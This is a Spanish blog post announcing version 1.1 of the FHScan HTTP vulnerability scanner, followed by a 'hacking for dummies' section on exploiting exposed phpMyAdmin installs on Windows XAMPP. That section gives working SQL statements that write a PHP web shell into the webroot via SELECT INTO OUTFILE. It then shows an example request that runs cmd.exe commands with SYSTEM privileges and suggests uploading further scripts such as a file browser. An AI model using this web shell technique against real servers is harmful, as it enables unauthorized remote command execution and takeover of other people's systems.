Fast HTTP Vulnerability Scanner v1.1
Después de bastante esfuerzo, he publicado la version estable tanto de la librería de Fhscan como del scanner. Están disponibles para su descarga en http://www.tarasco.org/security/FHScan_Fast_HTTP_Vulnerability_Scanner/index.html.
Entre los cambios principales en el motor HTTP tenemos el de estabilidad, soporte de file mappings para el almacenamiento de peticiones HTTP en disco en vez de en memoria (lo cual provocaba altos usos de cpu al descargar ficheros grandes, control de ancho de banda, soporte de proxy HTTP, establecimiento de parámetros de configuracion globales para la api (por ejemplo para la configuración de proxy).
El cliente por otro lado contiene firmas actualizadas de más modelos de dispositivos, mejora del motor de fingerprinting, detección de proxys HTTP y varias vulnerabilidades en servidores web.
En nuestra sección hacking for dummies, vamos a comentar como explotar una de las vulnerabilidades mas comunes que nos vamos a encontrar escaneando la red, los servidores phpmyadmin.
Dado que FhScan realiza ataques de fuerza bruta, en muchas ocasiones encontraremos en el reporte de vulnerabilidades la contraseña de un directorio /phpmyadmin/ o incluso el propio directorio phpmyadmin sin contraseña. Si además tenemos la suerte de que el servidor Apache que soporta la aplicación corre bajo win32, como suele ocurrir con los usuarios que instalan el paquete Xampp, el servidor Apache correrá con los privilegios de SYSTEM en el sistema.
Para poder acceder al sistema, utilizaremos el interfaz sql para subir un script en php al sistema.
CREATE TABLE temptab (codetab text);
INSERT INTO temptab (codetab) values ('<? $out = shell_exec($_GET["cmd"]." 2>&1");echo "<pre>$out</pre>"; ?>');
SELECT * INTO OUTFILE 'C:/xampp/htdocs/xampp/shell.php' from temptab;
DROP TABLE temptab;
FLUSH LOGS;
En nuestro ejemplo hemos utilizado el directorio c:\xampp\htdocs\xampp , pero un directorio real lo podemos obtener ejecutando /phpmyadmin/phpinfo.php
Si todo ha salido correctamente, podremos ejecutar peticiones de la forma http://host/phpmyadmin/shell.php?cmd=cmd.exe+/c+dir y todos los comandos se ejecutarán con privilegios de administrador.
Por supuesto, junto con nuestra php shell, podemos subir cualquier otro script , como por ejemplo un file browser en php que permita transferir ficheros de forma más cómoda.